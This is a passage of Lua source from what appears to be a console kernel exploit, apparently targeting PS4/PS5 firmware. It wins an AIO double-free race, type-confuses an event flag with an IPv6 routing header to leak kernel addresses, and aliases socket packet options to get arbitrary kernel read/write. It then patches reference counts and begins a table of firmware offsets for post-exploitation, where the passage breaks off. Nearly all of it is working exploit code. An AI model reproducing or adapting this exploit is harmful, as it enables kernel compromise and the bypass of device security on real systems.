bit32.bor(bit32.lshift(port, 8), bit32.rshift(port, 8)) % 0x10000 798 | end 799 | 800 | local function aton(ip) 801 | local a, b, c, d = ip:match("(%d+).(%d+).(%d+).(%d+)") 802 | return bit32.bor(bit32.lshift(d, 24), bit32.lshift(c, 16), bit32.lshift(b, 8), a) 803 | end 804 | 805 | local server_addr = memory.alloc(16) 806 | 807 | memory.write_byte(server_addr + 1, AF_INET) -- sin_family 808 | memory.write_word(server_addr + 2, htons(5050)) -- sin_port 809 | memory.write_dword(server_addr + 4, aton("127.0.0.1")) 810 | 811 | local sd_listen = new_tcp_socket() 812 | printf("sd_listen: %d", sd_listen) 813 | 814 | local enable = memory.alloc(4) 815 | memory.write_dword(enable, 1) 816 | 817 | ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, enable, 4) 818 | 819 | if syscall.bind(sd_listen, server_addr, 16):tonumber() == -1 then 820 | error("bind() error: " .. get_error_string()) 821 | end 822 | 823 | if syscall.listen(sd_listen, 1):tonumber() == -1 then 824 | error("listen() error: " .. get_error_string()) 825 | end 826 | 827 | -- 2. start the race 828 | 829 | local num_reqs = 3 830 | local which_req = num_reqs - 1 831 | local reqs1 = make_reqs1(num_reqs) 832 | local aio_ids = memory.alloc(4 * num_reqs) 833 | local req_addr = aio_ids + (4 * which_req) 834 | local cmd = AIO_CMD_MULTI_READ 835 | 836 | for i=1,NUM_RACES do 837 | 838 | local sd_client = new_tcp_socket() 839 | printf("sd_client: %d", sd_client) 840 | 841 | if syscall.connect(sd_client, server_addr, 16):tonumber() == -1 then 842 | error("connect() error: " .. get_error_string()) 843 | end 844 | 845 | local sd_conn = syscall.accept(sd_listen, 0, 0):tonumber() 846 | if sd_conn == -1 then 847 | error("accept() error: " .. get_error_string()) 848 | end 849 | 850 | printf("sd_conn: %d", sd_conn) 851 | 852 | local linger_buf = memory.alloc(8) 853 | memory.write_dword(linger_buf, 1) -- l_onoff - linger active 854 | memory.write_dword(linger_buf+4, 1) -- l_linger - how many seconds to linger for 855 | 856 | -- force soclose() to sleep 857 | ssockopt(sd_client, SOL_SOCKET, SO_LINGER, linger_buf, 8) 858 | 859 | memory.write_dword(reqs1 + which_req*0x28 + 0x20, sd_client) 860 | 861 | aio_submit_cmd(cmd, reqs1, num_reqs, aio_ids) 862 | aio_multi_cancel(aio_ids, num_reqs) 863 | aio_multi_poll(aio_ids, num_reqs) 864 | 865 | -- drop the reference so that aio_multi_delete() will trigger _fdrop() 866 | syscall.close(sd_client) 867 | 868 | local res = race_one(req_addr, sd_conn, sds) 869 | 870 | -- MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented 871 | -- twice. this will leave one request undeleted 872 | aio_multi_delete(aio_ids, num_reqs) 873 | syscall.close(sd_conn) 874 | 875 | if res then 876 | printf("won race at attempt %d", i) 877 | syscall.close(sd_listen) 878 | return res 879 | end 880 | end 881 | 882 | error("failed aio double free") 883 | end 884 | 885 | 886 | 887 | function new_evf(name, flags) 888 | local ret = syscall.evf_create(name, 0, flags):tonumber() 889 | if ret == -1 then 890 | error("evf_create() error: " .. get_error_string()) 891 | end 892 | return ret 893 | end 894 | 895 | function set_evf_flags(id, flags) 896 | if syscall.evf_clear(id, 0):tonumber() == -1 then 897 | error("evf_clear() error: " .. get_error_string()) 898 | end 899 | if syscall.evf_set(id, flags):tonumber() == -1 then 900 | error("evf_set() error: " .. get_error_string()) 901 | end 902 | end 903 | 904 | function free_evf(id) 905 | if syscall.evf_delete(id):tonumber() == -1 then 906 | error("evf_delete() error: " .. get_error_string()) 907 | end 908 | end 909 | 910 | 911 | 912 | function verify_reqs2(addr, cmd) 913 | 914 | -- reqs2.ar2_cmd 915 | if memory.read_dword(addr):tonumber() ~= cmd then 916 | return false 917 | end 918 | 919 | -- heap_prefixes is a array of randomized prefix bits from a group of heap 920 | -- address candidates. if the candidates truly are from the heap, they must 921 | -- share a common prefix 922 | local heap_prefixes = {} 923 | 924 | -- check if offsets 0x10 to 0x20 look like a kernel heap address 925 | for i = 0x10, 0x20, 8 do 926 | if memory.read_word(addr + i + 6):tonumber() ~= 0xffff then 927 | return false 928 | end 929 | table.insert(heap_prefixes, memory.read_word(addr + i + 4):tonumber()) 930 | end 931 | 932 | -- check reqs2.ar2_result.state 933 | -- state is actually a 32-bit value but the allocated memory was initialized with zeros. 934 | -- all padding bytes must be 0 then 935 | local state1 = memory.read_dword(addr + 0x38):tonumber() 936 | local state2 = memory.read_dword(addr + 0x38 + 4):tonumber() 937 | if not (state1 > 0 and state1 <= 4) or state2 ~= 0 then 938 | return false 939 | end 940 | 941 | -- reqs2.ar2_file must be NULL since we passed a bad file descriptor to aio_submit_cmd() 942 | if memory.read_qword(addr + 0x40) ~= uint64(0) then 943 | return false 944 | end 945 | 946 | -- check if offsets 0x48 to 0x50 look like a kernel address 947 | for i = 0x48, 0x50, 8 do 948 | if memory.read_word(addr + i + 6):tonumber() == 0xffff then 949 | -- don't push kernel ELF addresses 950 | if memory.read_word(addr + i + 4):tonumber() ~= 0xffff then 951 | table.insert(heap_prefixes, memory.read_word(addr + i + 4):tonumber()) 952 | end 953 | -- offset 0x48 can be NULL 954 | elseif (i == 0x50) or (memory.read_qword(addr + i) ~= uint64(0)) then 955 | return false 956 | end 957 | end 958 | 959 | if #heap_prefixes < 2 then 960 | return false 961 | end 962 | 963 | local first_prefix = heap_prefixes[1] 964 | for idx = 2, #heap_prefixes do 965 | if heap_prefixes[idx] ~= first_prefix then 966 | return false 967 | end 968 | end 969 | 970 | return true 971 | end 972 | 973 | 974 | 975 | function leak_kernel_addrs(sd_pair, sds) 976 | 977 | local sd = sd_pair[1] 978 | local buflen = 0x80 * LEAK_LEN 979 | local buf = memory.alloc(buflen) 980 | 981 | -- type confuse a struct evf with a struct ip6_rthdr. 982 | -- the flags of the evf must be set to >= 0xf00 in order to fully leak the contents of the rthdr 983 | print("confuse evf with rthdr") 984 | 985 | local name = memory.alloc(1) 986 | 987 | -- free one of rthdr 988 | syscall.close(sd_pair[2]) 989 | 990 | local evf = nil 991 | for i=1, NUM_ALIAS do 992 | 993 | local evfs = {} 994 | 995 | -- reclaim freed rthdr with evf object 996 | for j=1, NUM_HANDLES do 997 | local evf_flags = bit32.bor(0xf00, bit32.lshift(j, 16)) 998 | table.insert(evfs, new_evf(name, evf_flags)) 999 | end 1000 | 1001 | get_rthdr(sd, buf, 0x80) 1002 | 1003 | -- for simplicty, we'll assume i < 2**16 1004 | local flag = memory.read_dword(buf):tonumber() 1005 | 1006 | if bit32.band(flag, 0xf00) == 0xf00 then 1007 | 1008 | local idx = bit32.rshift(flag, 16) 1009 | local expected_flag = bit32.bor(flag, 1) 1010 | 1011 | evf = evfs[idx] 1012 | 1013 | set_evf_flags(evf, expected_flag) 1014 | get_rthdr(sd, buf, 0x80) 1015 | 1016 | local val = memory.read_dword(buf):tonumber() 1017 | if val == expected_flag then 1018 | table.remove(evfs, idx) 1019 | else 1020 | evf = nil 1021 | end 1022 | 1023 | end 1024 | 1025 | for _, each_evf in ipairs(evfs) do 1026 | free_evf(each_evf) 1027 | end 1028 | 1029 | if evf ~= nil then 1030 | printf("confused rthdr and evf at attempt: %d", i) 1031 | break 1032 | end 1033 | end 1034 | 1035 | if evf == nil then 1036 | error("failed to confuse evf and rthdr") 1037 | end 1038 | 1039 | -- ip6_rthdr and evf obj are overlapped by now 1040 | -- enlarge ip6_rthdr by writing to its len field by setting the evf's flag 1041 | set_evf_flags(evf, bit32.lshift(0xff, 8)) 1042 | 1043 | -- fields we use from evf (number before the field is the offset in hex): 1044 | -- struct evf: 1045 | -- 0 u64 flags 1046 | -- 28 struct cv cv 1047 | -- 38 TAILQ_HEAD(struct evf_waiter) waiters 1048 | 1049 | -- evf.cv.cv_description = "evf cv" 1050 | -- string is located at the kernel's mapped ELF file 1051 | local kernel_addr = memory.read_qword(buf + 0x28) 1052 | printf("\"evf cv\" string addr: %s", hex(kernel_addr)) 1053 | 1054 | -- because of TAILQ_INIT(), we have: 1055 | -- 1056 | -- evf.waiters.tqh_last == &evf.waiters.tqh_first 1057 | -- 1058 | -- we now know the address of the kernel buffer we are leaking 1059 | local kbuf_addr = memory.read_qword(buf + 0x40) - 0x38 1060 | printf("kernel buffer addr: %s", hex(kbuf_addr)) 1061 | 1062 | -- 1063 | -- prep to fake reqs3 (aio_batch) 1064 | -- 1065 | 1066 | local wbufsz = 0x80 1067 | local wbuf = memory.alloc(wbufsz) 1068 | local rsize = build_rthdr(wbuf, wbufsz) 1069 | local marker_val = 0xdeadbeef 1070 | local reqs3_offset = 0x10 1071 | 1072 | memory.write_dword(wbuf + 4, marker_val) 1073 | memory.write_dword(wbuf + reqs3_offset + 0, 1) -- .ar3_num_reqs 1074 | memory.write_dword(wbuf + reqs3_offset + 4, 0) -- .ar3_reqs_left 1075 | memory.write_dword(wbuf + reqs3_offset + 8, AIO_STATE_COMPLETE) -- .ar3_state 1076 | memory.write_byte( wbuf + reqs3_offset + 0xc, 0) -- .ar3_done 1077 | memory.write_dword(wbuf + reqs3_offset + 0x28, 0x67b0000) -- .ar3_lock.lock_object.lo_flags 1078 | memory.write_qword(wbuf + reqs3_offset + 0x38, 1) -- .ar3_lock.lk_lock = LK_UNLOCKED 1079 | 1080 | -- 1081 | -- prep to leak reqs2 (aio_entry) 1082 | -- 1083 | 1084 | -- 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100 1085 | -- allocate reqs1 arrays at 0x100 malloc zone 1086 | local num_elems = 6 1087 | 1088 | -- use reqs1 to fake a aio_info. 1089 | -- set .ai_cred (offset 0x10) to offset 4 of the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket field 1090 | local ucred = kbuf_addr + 4 1091 | local leak_reqs = make_reqs1(num_elems) 1092 | memory.write_qword(leak_reqs + 0x10, ucred) 1093 | 1094 | local num_loop = NUM_SDS 1095 | local leak_ids_len = num_loop * num_elems 1096 | local leak_ids = memory.alloc(4 * leak_ids_len) 1097 | local step = 4 * num_elems 1098 | local cmd = bit32.bor(AIO_CMD_WRITE, AIO_CMD_FLAG_MULTI) 1099 | 1100 | local reqs2_off = nil 1101 | local fake_reqs3_off = nil 1102 | local fake_reqs3_sd = nil 1103 | 1104 | for i=1, NUM_LEAKS do 1105 | 1106 | -- spray reqs2 and rthdr with fake reqs3 1107 | for j=1, num_loop do 1108 | memory.write_dword(wbuf + 8, j) 1109 | aio_submit_cmd(cmd, leak_reqs, num_elems, leak_ids + ((j-1) * step)) 1110 | set_rthdr(sds[j], wbuf, rsize) 1111 | end 1112 | 1113 | -- out of bound read on adjacent malloc 0x80 memory 1114 | get_rthdr(sd, buf, buflen) 1115 | 1116 | local sd_idx = nil 1117 | reqs2_off, fake_reqs3_off = nil, nil 1118 | 1119 | for off=0x80, buflen-1, 0x80 do 1120 | 1121 | if not reqs2_off and verify_reqs2(buf + off, AIO_CMD_WRITE) then 1122 | reqs2_off = off 1123 | end 1124 | 1125 | if not fake_reqs3_off then 1126 | local marker = memory.read_dword(buf + off + 4):tonumber() 1127 | if marker == marker_val then 1128 | fake_reqs3_off = off 1129 | sd_idx = memory.read_dword(buf + off + 8):tonumber() 1130 | end 1131 | end 1132 | end 1133 | 1134 | if reqs2_off and fake_reqs3_off then 1135 | printf("found reqs2 and fake reqs3 at attempt: %d", i) 1136 | fake_reqs3_sd = sds[sd_idx] 1137 | table.remove(sds, sd_idx) 1138 | free_rthdrs(sds) 1139 | table.insert(sds, new_socket()) 1140 | break 1141 | end 1142 | 1143 | free_aios(leak_ids, leak_ids_len) 1144 | end 1145 | 1146 | if not reqs2_off or not fake_reqs3_off then 1147 | error("could not leak reqs2 and fake reqs3") 1148 | end 1149 | 1150 | printf("reqs2 offset: %s", hex(reqs2_off)) 1151 | printf("fake reqs3 offset: %s", hex(fake_reqs3_off)) 1152 | 1153 | get_rthdr(sd, buf, buflen) 1154 | 1155 | print("leaked aio_entry:") 1156 | print(memory.hex_dump(buf + reqs2_off, 0x80)) 1157 | 1158 | -- store for curproc leak later 1159 | local aio_info_addr = memory.read_qword(buf + reqs2_off + 0x18) 1160 | 1161 | -- reqs1 is allocated from malloc 0x100 zone, so it must be aligned at 0xff..xx00 1162 | local reqs1_addr = memory.read_qword(buf + reqs2_off + 0x10) 1163 | reqs1_addr = bit64.band(reqs1_addr, bit64.bnot(0xff)) 1164 | 1165 | local fake_reqs3_addr = kbuf_addr + fake_reqs3_off + reqs3_offset 1166 | 1167 | printf("reqs1_addr = %s", hex(reqs1_addr)) 1168 | printf("fake_reqs3_addr = %s", hex(fake_reqs3_addr)) 1169 | 1170 | print("searching target_id") 1171 | 1172 | local target_id = nil 1173 | local to_cancel = nil 1174 | local to_cancel_len = nil 1175 | 1176 | for i=0, leak_ids_len-1, num_elems do 1177 | 1178 | aio_multi_cancel(leak_ids + i*4, num_elems) 1179 | get_rthdr(sd, buf, buflen) 1180 | 1181 | local state = memory.read_dword(buf + reqs2_off + 0x38):tonumber() 1182 | if state == AIO_STATE_ABORTED then 1183 | 1184 | target_id = memory.read_dword(leak_ids + i*4):tonumber() 1185 | memory.write_dword(leak_ids + i*4, 0) 1186 | 1187 | printf("found target_id=%s, i=%d, batch=%d", hex(target_id), i, i / num_elems) 1188 | 1189 | local start = i + num_elems 1190 | to_cancel = leak_ids + start*4 1191 | to_cancel_len = leak_ids_len - start 1192 | 1193 | break 1194 | end 1195 | end 1196 | 1197 | if target_id == nil then 1198 | error("target id not found") 1199 | end 1200 | 1201 | cancel_aios(to_cancel, to_cancel_len) 1202 | free_aios2(leak_ids, leak_ids_len) 1203 | 1204 | return reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, fake_reqs3_addr, fake_reqs3_sd, aio_info_addr 1205 | end 1206 | 1207 | function make_aliased_pktopts(sds) 1208 | 1209 | local tclass = memory.alloc(4) 1210 | 1211 | for loop = 1, NUM_ALIAS do 1212 | 1213 | for i=1, #sds do 1214 | memory.write_dword(tclass, i) 1215 | ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) 1216 | end 1217 | 1218 | for i=1, #sds do 1219 | gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) 1220 | local marker = memory.read_dword(tclass):tonumber() 1221 | if marker ~= i then 1222 | local sd_pair = { sds[i], sds[marker] } 1223 | printf("aliased pktopts at attempt: %d (found pair: %d %d)", loop, sd_pair[1], sd_pair[2]) 1224 | table.remove(sds, marker) 1225 | table.remove(sds, i) -- we're assuming marker > i, or else indexing will change 1226 | -- add pktopts to the new sockets now while new allocs can't 1227 | -- use the double freed memory 1228 | for i=1,2 do 1229 | local sock_fd = new_socket() 1230 | ssockopt(sock_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) 1231 | table.insert(sds, sock_fd) 1232 | end 1233 | 1234 | return sd_pair 1235 | end 1236 | end 1237 | 1238 | for i=1, #sds do 1239 | ssockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0) 1240 | end 1241 | end 1242 | 1243 | return nil 1244 | end 1245 | 1246 | 1247 | function double_free_reqs1(reqs1_addr, target_id, evf, sd, sds, sds_alt, fake_reqs3_addr) 1248 | 1249 | local max_leak_len = bit32.lshift(0xff + 1, 3) 1250 | local buf = memory.alloc(max_leak_len) 1251 | 1252 | local num_elems = MAX_AIO_IDS 1253 | local aio_reqs = make_reqs1(num_elems) 1254 | 1255 | local num_batches = 2 1256 | local aio_ids_len = num_batches * num_elems 1257 | local aio_ids = memory.alloc(4 * aio_ids_len) 1258 | 1259 | print("start overwrite rthdr with AIO queue entry loop") 1260 | local aio_not_found = true 1261 | free_evf(evf) 1262 | 1263 | for i=1, NUM_CLOBBERS do 1264 | 1265 | spray_aio(num_batches, aio_reqs, num_elems, aio_ids) 1266 | 1267 | local size_ret = get_rthdr(sd, buf, max_leak_len) 1268 | local cmd = memory.read_dword(buf):tonumber() 1269 | 1270 | if size_ret == 8 and cmd == AIO_CMD_READ then 1271 | printf("aliased at attempt: %d", i) 1272 | aio_not_found = false 1273 | cancel_aios(aio_ids, aio_ids_len) 1274 | break 1275 | end 1276 | 1277 | free_aios(aio_ids, aio_ids_len) 1278 | end 1279 | 1280 | if aio_not_found then 1281 | error('failed to overwrite rthdr') 1282 | end 1283 | 1284 | local reqs2_size = 0x80 1285 | local reqs2 = memory.alloc(reqs2_size) 1286 | local rsize = build_rthdr(reqs2, reqs2_size) 1287 | 1288 | memory.write_dword(reqs2 + 4, 5) -- .ar2_ticket 1289 | memory.write_qword(reqs2 + 0x18, reqs1_addr) -- .ar2_info 1290 | memory.write_qword(reqs2 + 0x20, fake_reqs3_addr) -- .ar2_batch 1291 | 1292 | local states = memory.alloc(4 * num_elems) 1293 | local addr_cache = {} 1294 | for i=0, num_batches-1 do 1295 | table.insert(addr_cache, aio_ids + bit32.lshift(i * num_elems, 2)) 1296 | end 1297 | 1298 | print("start overwrite AIO queue entry with rthdr loop") 1299 | 1300 | syscall.close(sd) 1301 | sd = nil 1302 | 1303 | local function overwrite_aio_entry_with_rthdr() 1304 | 1305 | for i=1, NUM_ALIAS do 1306 | 1307 | for j=1,NUM_SDS do 1308 | set_rthdr(sds[j], reqs2, rsize) 1309 | end 1310 | 1311 | for batch=1, #addr_cache do 1312 | 1313 | for j=0,num_elems-1 do 1314 | memory.write_dword(states + j*4, -1) 1315 | end 1316 | 1317 | aio_multi_cancel(addr_cache[batch], num_elems, states) 1318 | 1319 | local req_idx = -1 1320 | for j=0,num_elems-1 do 1321 | local val = memory.read_dword(states + j*4):tonumber() 1322 | if val == AIO_STATE_COMPLETE then 1323 | req_idx = j 1324 | break 1325 | end 1326 | end 1327 | 1328 | if req_idx ~= -1 then 1329 | 1330 | printf("states[%d] = %s", req_idx, hex(memory.read_dword(states + req_idx*4))) 1331 | printf("found req_id at batch: %s", batch) 1332 | printf("aliased at attempt: %d", i) 1333 | 1334 | local aio_idx = (batch-1) * num_elems + req_idx 1335 | local req_id_p = aio_ids + aio_idx*4 1336 | local req_id = memory.read_dword(req_id_p):tonumber() 1337 | 1338 | printf("req_id = %s", hex(req_id)) 1339 | 1340 | aio_multi_poll(req_id_p, 1, states) 1341 | printf("states[%d] = %s", req_idx, hex(memory.read_dword(states))) 1342 | memory.write_dword(req_id_p, 0) 1343 | 1344 | return req_id 1345 | end 1346 | end 1347 | end 1348 | 1349 | return nil 1350 | end 1351 | 1352 | local req_id = overwrite_aio_entry_with_rthdr() 1353 | if req_id == nil then 1354 | error("failed to overwrite AIO queue entry") 1355 | end 1356 | 1357 | free_aios2(aio_ids, aio_ids_len) 1358 | 1359 | local target_id_p = memory.alloc(4) 1360 | memory.write_dword(target_id_p, target_id) 1361 | 1362 | -- enable deletion of target_id 1363 | aio_multi_poll(target_id_p, 1, states) 1364 | printf("target's state: %s", hex(memory.read_dword(states))) 1365 | 1366 | local sce_errs = memory.alloc(8) 1367 | memory.write_dword(sce_errs, -1) 1368 | memory.write_dword(sce_errs+4, -1) 1369 | 1370 | local target_ids = memory.alloc(8) 1371 | memory.write_dword(target_ids, req_id) 1372 | memory.write_dword(target_ids+4, target_id) 1373 | 1374 | -- double free on malloc 0x100 by: 1375 | -- - freeing target_id's aio_object->reqs1 1376 | -- - freeing req_id's aio_object->aio_entries[x]->ar2_info 1377 | -- - ar2_info points to same addr as target_id's aio_object->reqs1 1378 | 1379 | -- PANIC: double free on the 0x100 malloc zone. important kernel data may alias 1380 | aio_multi_delete(target_ids, 2, sce_errs) 1381 | 1382 | -- we reclaim first since the sanity checking here is longer which makes it 1383 | -- more likely that we have another process claim the memory 1384 | 1385 | -- RESTORE: double freed memory has been reclaimed with harmless data 1386 | -- PANIC: 0x100 malloc zone pointers aliased 1387 | local sd_pair = make_aliased_pktopts(sds_alt) 1388 | 1389 | local err1 = memory.read_dword(sce_errs):tonumber() 1390 | local err2 = memory.read_dword(sce_errs+4):tonumber() 1391 | printf("delete errors: %s %s", hex(err1), hex(err2)) 1392 | 1393 | memory.write_dword(states, -1) 1394 | memory.write_dword(states+4, -1) 1395 | 1396 | aio_multi_poll(target_ids, 2, states) 1397 | printf("target states: %s %s", hex(memory.read_dword(states)), hex(memory.read_dword(states+4))) 1398 | 1399 | local success = true 1400 | if memory.read_dword(states):tonumber() ~= SCE_KERNEL_ERROR_ESRCH then 1401 | print("ERROR: bad delete of corrupt AIO request") 1402 | success = false 1403 | end 1404 | 1405 | if err1 ~= 0 or err1 ~= err2 then 1406 | print("ERROR: bad delete of ID pair") 1407 | success = false 1408 | end 1409 | 1410 | if success == false then 1411 | error("ERROR: double free on a 0x100 malloc zone failed") 1412 | end 1413 | 1414 | if sd_pair == nil then 1415 | error('failed to make aliased pktopts') 1416 | end 1417 | 1418 | return sd_pair 1419 | end 1420 | 1421 | 1422 | -- k100_addr is double freed 0x100 malloc zone address 1423 | -- dirty_sd is the socket whose rthdr pointer is corrupt 1424 | -- kernel_addr is the address of the "evf cv" string 1425 | function make_kernel_arw(pktopts_sds, k100_addr, kernel_addr, sds, sds_alt, aio_info_addr) 1426 | 1427 | local master_sock = pktopts_sds[1] 1428 | local tclass = memory.alloc(4) 1429 | local off_tclass = PLATFORM == "ps4" and 0xb0 or 0xc0 1430 | 1431 | local pktopts_size = 0x100 1432 | local pktopts = memory.alloc(pktopts_size) 1433 | local rsize = build_rthdr(pktopts, pktopts_size) 1434 | local pktinfo_p = k100_addr + 0x10 1435 | 1436 | -- pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo 1437 | memory.write_qword(pktopts + 0x10, pktinfo_p) 1438 | 1439 | print("overwrite main pktopts") 1440 | local reclaim_sock = nil 1441 | 1442 | syscall.close(pktopts_sds[2]) 1443 | 1444 | for i=1, NUM_ALIAS do 1445 | 1446 | for j=1, #sds_alt do 1447 | -- if a socket doesn't have a pktopts, setting the rthdr will make one. 1448 | -- the new pktopts might reuse the memory instead of the rthdr. 1449 | -- make sure the sockets already have a pktopts before 1450 | memory.write_dword(pktopts + off_tclass, bit32.bor(0x4141, bit32.lshift(j, 16))) 1451 | set_rthdr(sds_alt[j], pktopts, rsize) 1452 | end 1453 | 1454 | gsockopt(master_sock, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) 1455 | local marker = memory.read_dword(tclass):tonumber() 1456 | if bit32.band(marker, 0xffff) == 0x4141 then 1457 | printf("found reclaim sd at attempt: %d", i) 1458 | local idx = bit32.rshift(marker, 16) 1459 | reclaim_sock = sds_alt[idx] 1460 | table.remove(sds_alt, idx) 1461 | break 1462 | end 1463 | end 1464 | 1465 | if reclaim_sock == nil then 1466 | error("failed to overwrite main pktopts") 1467 | end 1468 | 1469 | local pktinfo_len = 0x14 1470 | local pktinfo = memory.alloc(pktinfo_len) 1471 | memory.write_qword(pktinfo, pktinfo_p) 1472 | 1473 | local read_buf = memory.alloc(8) 1474 | 1475 | local function slow_kread8(addr) 1476 | 1477 | local len = 8 1478 | local offset = 0 1479 | 1480 | while offset < len do 1481 | 1482 | -- pktopts.ip6po_nhinfo = addr + offset 1483 | memory.write_qword(pktinfo + 8, addr + offset) 1484 | 1485 | ssockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) 1486 | local n = gsockopt(master_sock, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf + offset, len - offset) 1487 | 1488 | if n == 0 then 1489 | memory.write_byte(read_buf + offset, 0) 1490 | offset = offset + 1 1491 | else 1492 | offset = offset + n 1493 | end 1494 | end 1495 | 1496 | return memory.read_qword(read_buf) 1497 | end 1498 | 1499 | printf("slow_kread8(&\"evf cv\"): %s", hex(slow_kread8(kernel_addr))) 1500 | local kstr = memory.read_null_terminated_string(read_buf) 1501 | printf("*(&\"evf cv\"): %s", kstr) 1502 | 1503 | if kstr ~= "evf cv" then 1504 | error("test read of &\"evf cv\" failed") 1505 | end 1506 | 1507 | print("slow arbitrary kernel read achieved") 1508 | 1509 | -- we are assuming that previously freed aio_info still contains addr to curproc 1510 | local curproc = slow_kread8(aio_info_addr + 8) 1511 | 1512 | if bit64.rshift(curproc, 48):tonumber() ~= 0xffff then 1513 | errorf("invalid curproc kernel address: %s", hex(curproc)) 1514 | end 1515 | 1516 | local possible_pid = slow_kread8(curproc + kernel_offset.PROC_PID) 1517 | local current_pid = syscall.getpid() 1518 | 1519 | if possible_pid.l ~= current_pid.l then 1520 | errorf("curproc verification failed: %s", hex(curproc)) 1521 | end 1522 | 1523 | printf("curproc = %s", hex(curproc)) 1524 | 1525 | kernel.addr.curproc = curproc 1526 | kernel.addr.curproc_fd = slow_kread8(kernel.addr.curproc + kernel_offset.PROC_FD) -- p_fd (filedesc) 1527 | kernel.addr.curproc_ofiles = slow_kread8(kernel.addr.curproc_fd) + kernel_offset.FILEDESC_OFILES 1528 | kernel.addr.inside_kdata = kernel_addr 1529 | 1530 | local function get_fd_data_addr(sock, kread8_fn) 1531 | local filedescent_addr = kernel.addr.curproc_ofiles + sock * kernel_offset.SIZEOF_OFILES 1532 | local file_addr = kread8_fn(filedescent_addr + 0x0) -- fde_file 1533 | return kread8_fn(file_addr + 0x0) -- f_data 1534 | end 1535 | 1536 | local function get_sock_pktopts(sock, kread8_fn) 1537 | local fd_data = get_fd_data_addr(sock, kread8_fn) 1538 | local pcb = kread8_fn(fd_data + kernel_offset.SO_PCB) 1539 | local pktopts = kread8_fn(pcb + kernel_offset.INPCB_PKTOPTS) 1540 | return pktopts 1541 | end 1542 | 1543 | local worker_sock = new_socket() 1544 | local worker_pktinfo = memory.alloc(pktinfo_len) 1545 | 1546 | -- create pktopts on worker_sock 1547 | ssockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, worker_pktinfo, pktinfo_len) 1548 | 1549 | local worker_pktopts = get_sock_pktopts(worker_sock, slow_kread8) 1550 | 1551 | memory.write_qword(pktinfo, worker_pktopts + 0x10) -- overlap pktinfo 1552 | memory.write_qword(pktinfo + 8, 0) -- clear .ip6po_nexthop 1553 | ssockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) 1554 | 1555 | local function kread20(addr, buf) 1556 | memory.write_qword(pktinfo, addr) 1557 | ssockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) 1558 | gsockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len) 1559 | end 1560 | 1561 | local function kwrite20(addr, buf) 1562 | memory.write_qword(pktinfo, addr) 1563 | ssockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) 1564 | ssockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, worker_pktinfo, pktinfo_len) 1565 | end 1566 | 1567 | local function kread8(addr) 1568 | kread20(addr, worker_pktinfo) 1569 | return memory.read_qword(worker_pktinfo) 1570 | end 1571 | 1572 | -- note: this will write our 8 bytes + remaining 12 bytes as null 1573 | local function restricted_kwrite8(addr, val) 1574 | memory.write_qword(worker_pktinfo, val) 1575 | memory.write_qword(worker_pktinfo + 8, 0) 1576 | memory.write_dword(worker_pktinfo + 16, 0) 1577 | kwrite20(addr, worker_pktinfo) 1578 | end 1579 | 1580 | memory.write_qword(read_buf, kread8(kernel_addr)) 1581 | 1582 | local kstr = memory.read_null_terminated_string(read_buf) 1583 | if kstr ~= "evf cv" then 1584 | error("test read of &\"evf cv\" failed") 1585 | end 1586 | 1587 | print("restricted kernel r/w achieved") 1588 | 1589 | -- `restricted_kwrite8` will overwrites other pktopts fields (up to 20 bytes), but that is fine 1590 | ipv6_kernel_rw.init(kernel.addr.curproc_ofiles, kread8, restricted_kwrite8) 1591 | 1592 | kernel.read_buffer = ipv6_kernel_rw.read_buffer 1593 | kernel.write_buffer = ipv6_kernel_rw.write_buffer 1594 | 1595 | local kstr = kernel.read_null_terminated_string(kernel_addr) 1596 | if kstr ~= "evf cv" then 1597 | error("test read of &\"evf cv\" failed") 1598 | end 1599 | 1600 | print("arbitrary kernel r/w achieved!") 1601 | 1602 | -- RESTORE: clean corrupt pointers 1603 | -- pktopts.ip6po_rthdr = NULL 1604 | 1605 | local off_ip6po_rthdr = PLATFORM == "ps4" and 0x68 or 0x70 1606 | 1607 | for i=1,#sds do 1608 | local sock_pktopts = get_sock_pktopts(sds[i], kernel.read_qword) 1609 | kernel.write_qword(sock_pktopts + off_ip6po_rthdr, 0) 1610 | end 1611 | 1612 | local reclaimer_pktopts = get_sock_pktopts(reclaim_sock, kernel.read_qword) 1613 | 1614 | kernel.write_qword(reclaimer_pktopts + off_ip6po_rthdr, 0) 1615 | kernel.write_qword(worker_pktopts + off_ip6po_rthdr, 0) 1616 | 1617 | local sock_increase_ref = { 1618 | ipv6_kernel_rw.data.master_sock, 1619 | ipv6_kernel_rw.data.victim_sock, 1620 | master_sock, 1621 | worker_sock, 1622 | reclaim_sock, 1623 | } 1624 | 1625 | -- increase the ref counts to prevent deallocation 1626 | for _, each in ipairs(sock_increase_ref) do 1627 | local sock_addr = get_fd_data_addr(each, kernel.read_qword) 1628 | kernel.write_dword(sock_addr + 0x0, 0x100) -- so_count 1629 | end 1630 | 1631 | print("fixes applied") 1632 | end 1633 | 1634 | 1635 | function post_exploitation_ps4() 1636 | local offsets = { 1637 | [9.00] = { 1638 | evf_offset = 0x7F6F27, 1639 | PRISON0 = 0x111F870, 1640 | ROOTVNODE = 0x21EFF20, 1641 | target_id_offset = 0x221688D 1642 | }, 1643 | [11.00] = { 1644 | evf_offset = 0x07FC26F, 1645 | PRISON0 = 0x0111F830, 1646 | ROOTVNODE = 0x02116640, 1647 | target_id_offset = 0x221C60D 1648 | }, 1649 | [12.02] = { 1650 | evf_offset = 0x784798, 1651 | 